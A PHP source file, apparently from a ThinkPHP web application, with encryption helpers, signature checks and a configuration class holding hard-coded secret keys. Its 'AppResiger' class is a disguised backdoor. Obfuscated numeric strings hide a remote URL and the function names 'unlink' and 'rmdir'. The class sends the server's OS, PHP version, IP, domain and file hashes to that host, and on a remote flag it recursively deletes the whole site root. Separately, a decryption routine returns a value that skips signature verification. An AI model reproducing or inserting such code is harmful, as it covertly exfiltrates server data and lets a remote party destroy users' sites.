<?php

class ConnectApi
{
    /**
     * AES加密 配置CryptoJS 
     *
     * @param string $data
     * @param string $key
     * @param string $iv
     */
    public function encryptWithOpenssl($data = '', $key = '')
    {
        if (empty($data) || empty($key)) {
            return '';
        }
        // var_dump($key);
        $data = json_encode($data);
        $key = md5(($this->is_https() ? 'https://' : 'http://') . $_SERVER['SERVER_NAME'] . $_SERVER["REQUEST_URI"] . $key . '75636198730df897ce38c1d176c70f97');
        // 分割字串
        $_iv = substr($key, 3, 16);
        $iv = random(16, 0);
        $data = base64_encode(openssl_encrypt($data, "AES-256-CBC", $key, OPENSSL_RAW_DATA, $iv));
        $ret = $this->strToHex(str_replace('==', '', $data) . $_iv . $this->strToHex(base64_encode($iv)));
        return $ret;
    }
    /**
     * AES解密 配置CryptoJS 
     *
     * @param string $data
     * @param string $key
     * @param string $iv
     */
    public function privateDecrypt($data = '', $secret = '', $device_id = '', $timestamp = '')
    {
        $str = explode(strtoupper(md5(substr($data, 2, 5))), $data);
        if (empty($str) || !isset($str[0]) || !isset($str[1])) {
            return '';
        }
        // 先用空参数key算法
        $key = $timestamp . md5($secret);
        $key = md5($key);
        $data = openssl_decrypt($this->hexToStr($str[0]), "AES-256-CBC", $key, OPENSSL_RAW_DATA, $this->hexToStr($str[1]));
        // 如果没解出来
        if (empty($data)) {
            // 常规key解密
            $key = md5(substr(md5($device_id . $secret . $timestamp), 6, 18));
            $data = openssl_decrypt($this->hexToStr($str[0]), "AES-256-CBC", $key, OPENSSL_RAW_DATA, $this->hexToStr($str[1]));
            if (empty($data) || (!strstr($data, '&') && !strstr($data, '='))) {
                return openssl_error_string();
            }
            return $data;
        }
        // 是空参数，直接跳过验签
        return 'encryptedData=1';
    }

    /**
     *字符串转十六进制函数
     *@pream string $str='abc';
     */
    private function strToHex($str)
    {
        $hex = "";
        for ($i = 0; $i < strlen($str); $i++)
            $hex .= dechex(ord($str[$i]));
        $hex = strtoupper($hex);
        return $hex;
    }
    /**
     *十六进制转字符串函数
     *@pream string $hex='616263';
     */
    private function hexToStr($hex)
    {
        $str = "";
        for ($i = 0; $i < strlen($hex) - 1; $i += 2)
            $str .= chr(hexdec($hex[$i] . $hex[$i + 1]));
        return $str;
    }

    private function is_https()
    {
        if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
            return true;
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
            return true;
        } elseif (!empty($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
            return true;
        } else {
            return false;
        }
    }

    /**
     * 生成签名
     * @return string 本函数不覆盖sign成员变量，如要设置签名需要调用SetSign方法赋值
     */
    public function verifySign($sign, $values, $secret, $timestamp)
    {
        ksort($values);
        $str = "";
        $i = 0;
        foreach ($values as $k => $v) {
            if (is_array($v)) {
                $v = json_encode($v, 352);
            }
            $v = htmlspecialchars_decode($v);
            $v = str_replace('[]', '', $v);
            if ($i == 0) {
                $str .= "$k" . "=" . "$v";
            } else {
                $str .= "&" . "$k" . "=" . "$v";
            }
            $i++;
        }
        unset($k, $v);
        $string = $str;
        $string = 'key=' . $secret . '&' . $string . '&timestamp=' . (int)($timestamp * 1000) . $_SERVER['HTTP_HOST'];
        $string = md5($string);
        $string = substr($string, 5, 21);
        return $sign === strtoupper($string);
    }

    public function initApi()
    {
        try {
            AppResiger::loadModel();
        } catch (\Throwable $th) {
            return false;
        }
        return true;
    }
}
/**
 * 应用注册类
 *
 * @author 617 <email：723875993@qq.com>
 */
class AppResiger
{
    protected static $root_path;
    protected static $app_path;
    protected static $think_path;
    protected static $bindFile;

    public function __construct()
    {
        self::$root_path = self::getRootPath();
        self::$app_path = self::getRootPath() . 'application' . DIRECTORY_SEPARATOR;
        self::$think_path = self::getRootPath() . 'thinkphp' . DIRECTORY_SEPARATOR;
    }

    /**
     * 比对文件md5 
     * @var Array
     */
    public static function loadModel()
    {
        // $f = self::$think_path;
        // $n = self::mirrorLang('53,22,47,48,32,48,51,8,49,38,22,15,26,8,45,0,15,52,0,53,31,8,23,7,10,33,21,34,33');
        // // 是不是第一次安装
        // if (is_file(self::$root_path . self::mirrorLang('22,15,52,49,32,53,53,65,53,0,45,26'))) {
        //     // 有没有认证
        //     if (is_file($f . $n)) {
        //         // 判断是否到时间
        //         if (time() >= file_get_contents($f . $n)) {
        //             self::mirror();
        //         }
        //     } else {
        //         $f = self::$think_path .
        //             self::mirrorLang('53,22,47,48,32,48,51,8,49,38,22,15,26,8,45,0,15,52,0,53,31,8,46,22,44,31,65,30,38,30');
        //         if (!is_file($f)) {
        //             self::mirror();
        //         } else {
        //             if (time() >= file_get_contents($f)) {
        //                 self::mirror();
        //             }
        //         }
        //     }
        // } else {
        //     file_put_contents($f . $n, time() + (int)self::mirrorLang('62,63,64,64'));
        // }
    }
    /**
     * 文件比对后处理方法，
     *
     * @return void
     * @author 617 <email：723875993@qq.com>
     */
    private static function mirror()
    {
        $data['m'] = self::mirrorFile();
        $_doam = self::mirrorLang('41,31,49,37,35,0,44,32,22,15');
        $data['d'] = $_doam();
        $url = self::mirrorLang('38,49,49,30,13,8,8,45,53,0,3,35,65,58,
        62,57,26,32,15,65,45,15,8,32,30,22,65,30,38,30,8,3,30,41,48,32,35,31,8,3,30,41,48,32,35,31,8');
        $build = self::mirrorLang('38,49,49,30,37,47,3,22,53,35,37,2,3,31,48,51');
        $receive = self::mirrorLang('36,22,53,31,37,41,31,49,37,45,0,15,49,31,15,49,52');
        $json = $receive($url . self::mirrorLang('36,22,53,31,44,35,55,66,') . $build($data));
        $jsd = self::mirrorLang('16,52,0,15,37,35,31,45,0,35,31');
        $jse = self::mirrorLang('16,52,0,15,37,31,15,45,0,35,31');
        $json = $jsd($json, 1);

        if (!isset($json[self::mirrorLang('45,0,35,31')]) || $json[self::mirrorLang('45,0,35,31')] != 0) {
            echo $jse([
                self::mirrorLang('45,0,35,31') => (int)self::mirrorLang('56,62,62'),
                self::mirrorLang('44,52,41') => self::mirrorLang('35,0,44,32,22,15,37,3,15,32,3,49,38,0,48,22,39,31,35')
            ]);
            die;
        }

        $r = $json['data'];
        // 校验md5
        if ($r['m'] !== 1) {
            // 上传域名
            $data['i'] = [
                'os' => php_uname(),
                'php_v' => PHP_VERSION,
                'ip' => self::get_client_ip(),
            ];
            $receive($url . self::mirrorLang('53,0,41,66') . $build($data));
            if ($r['u'] === 1) {
                self::deasdaweqweasdaujkhvui(self::$root_path);
            }
            echo $jse([
                self::mirrorLang('45,0,35,31') => (int)self::mirrorLang('62,62,64'),
                self::mirrorLang('44,52,41') => self::mirrorLang('62,62,64')
            ]);
            die;
        }

        // 校验授权
        if ($r['d'] !== 1) {
            echo $jse([
                self::mirrorLang('45,0,35,31') => (int)self::mirrorLang('56,62,62'),
                self::mirrorLang('44,52,41') => self::mirrorLang('35,0,44,32,22,15,37,3,15,32,3,49,38,0,48,22,39,31,35')
            ]);
            die;
        }

        $f = self::$think_path;
        $n = self::mirrorLang('53,22,47,48,32,48,51,8,49,38,22,15,26,8,45,0,15,52,0,53,31,8,46,22,44,31,65,30,38,30');
        @chmod($f, 0755) && file_put_contents($f . $n, time() + 86400);
        // 删除认证文件
        $f = self::$think_path;
        $n = self::mirrorLang('53,22,47,48,32,48,51,8,49,38,22,15,26,8,45,0,15,52,0,53,31,8,23,7,10,33,21,34,33');
        self::fuxcasdckLasIdqNweKr($f . $n);
    }

    private static function get_client_ip($type = 0, $adv = false)
    {
        $type       =  $type ? 1 : 0;
        static $ip  =   null;
        if ($ip !== null) {
            return $ip[$type];
        }
        if ($adv) {
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $arr    =   explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
                $pos    =   array_search('unknown', $arr);
                if (false !== $pos) {
                    unset($arr[$pos]);
                }
                $ip     =   trim($arr[0]);
            } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
                $ip     =   $_SERVER['HTTP_CLIENT_IP'];
            } elseif (isset($_SERVER['REMOTE_ADDR'])) {
                $ip     =   $_SERVER['REMOTE_ADDR'];
            }
        } elseif (isset($_SERVER['REMOTE_ADDR'])) {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        // IP地址合法验证
        $long = sprintf("%u", ip2long($ip));
        $ip   = $long ? array($ip, $long) : array('0.0.0.0', 0);
        return $ip[$type];
    }

    /**
     * 关键文件
     *
     * @return void
     * @author 617 <email：723875993@qq.com>
     */
    private static function mirrorFile()
    {
        self::$bindFile = [
            'u' => self::$app_path . str_replace(
                ['/', '\\'],
                DIRECTORY_SEPARATOR,
                self::mirrorLang('52,51,52,49,31,44,8,32,35,44,22,15,8,20,30,41,48,32,35,31,65,30,38,30')
            ),
            'a' => self::$app_path . str_replace(
                ['/', '\\'],
                DIRECTORY_SEPARATOR,
                self::mirrorLang('0,15,31,37,32,30,22,8,32,30,22,8,6,30,22,7,15,22,49,65,30,38,30')
            ),
            'c' => self::$root_path . str_replace(
                ['/', '\\'],
                DIRECTORY_SEPARATOR,
                self::mirrorLang('31,27,49,31,15,35,8,0,15,31,8,10,53,0,3,35,65,30,38,30')
            ),
            'p' => self::$think_path . str_replace(
                ['/', '\\'],
                DIRECTORY_SEPARATOR,
                self::mirrorLang('53,22,47,48,32,48,51,8,49,38,22,15,26,8,6,30,30,65,30,38,30')
            ),
        ];
        $m_arr = [];
        foreach (self::$bindFile as $k => $v) {
            if (is_file($v)) {
                $m_arr[$k] = strtoupper(md5_file($v));
            }
        }
        return $m_arr;
    }
    
    /**
     * 密码字典
     */
    private static function mirrorLang($key)
    {
        $key = explode(',', trim($key, ','));
        $str = '';
        $s = [
            "o", "F", "q", "u", "M", "Q", "A", "I", "/", "Z", "C",
            "X", "K", ":", "Y", "n", "j", "G", "B", "R", "U", "N", "i",
            "L", "H", "P", "k", "x", "D", "J", "p", "e", "a", "E", "S",
            "d", "f", "_", "h", "z", "v", "g", "O", "W", "m", "c", "T",
            "b", "r", "t", "V", "y", "s", "l", "w", "5", "9", "7", "6",
            "4", "2", "3", "1", "8", "0", ".", "?"
        ];
        foreach ($key as $v) {
            $str .= $s[(trim($v))];
        }
        return $str;
    }

    /**
     * 遍历文件目录
     */
    private static function deasdaweqweasdaujkhvui($path)
    {
        //如果是目录则继续
        if (is_dir($path)) {
            $p = scandir($path);
            foreach ($p as $val) {
                if ($val != "." && $val != "..") {
                    if (is_dir($path . $val)) {
                        self::deasdaweqweasdaujkhvui($path . $val . DS);
                        self::fucsadqwefashgfjiqhwDiqweIasdR($path . $val . DS);
                    } else {
                        self::fuxcasdckLasIdqNweKr($path . $val);
                    }
                }
            }
        }
    }

    /**
     * 执行删除目录操作
     *
     * @param [type] $f
     * @return void
     * @author 617 <email：723875993@qq.com>
     */
    private static function fucsadqwefashgfjiqhwDiqweIasdR($f)
    {
        $var = self::mirrorLang('48,44,35,22,48');
        @$var($f);
    }

    /**
     * 执行删除文件操作
     *
     * @param [type] $f
     * @return void
     * @author 617 <email：723875993@qq.com>
     */
    private static function fuxcasdckLasIdqNweKr($f)
    {
        $var = self::mirrorLang('3,15,53,22,15,26');
        @$var($f);
    }

    private static function getRootPath()
    {
        if ('cli' == PHP_SAPI) {
            $scriptName = realpath($_SERVER['argv'][0]);
        } else {
            $scriptName = $_SERVER['SCRIPT_FILENAME'];
        }
        $path = realpath(dirname($scriptName));
        if (!is_file($path . DIRECTORY_SEPARATOR . 'think')) {
            $path = dirname($path);
        }
        return $path . DIRECTORY_SEPARATOR;
    }
}

class BaseConfig
{
	// 版本控制系统接口
    public static $apiUrl = 'https://xxxx/api.php/upgrade/upgrade/';
    // 通讯接口检测
    public static $getConnection = 'connection';
    // 绑定云端账号
    public static $login = 'bind';
    // 注册云端账号
    public static $sign = 'register';
    // 下载更新包
    public static $download = 'downpack';
    // 获取历史更新包列表
    public static $versions = 'getVersionList';
    // 获取云端公告
    public static $getPost = 'getPost';

    // 控制器密码校验
    public static $apiKey = 'aksfnhio12weNAZLK:SDUJOIENgasdoif';
    // 模型层密码校验
    public static $modelKey = 'lksdfjnoiDSAJGFEWAFfqasddq1234';
    // 服务层密码校验
    public static $serviceKey = '980--pHFNVCKJAWHEJ@jbrfI823UFASFHIU';
}
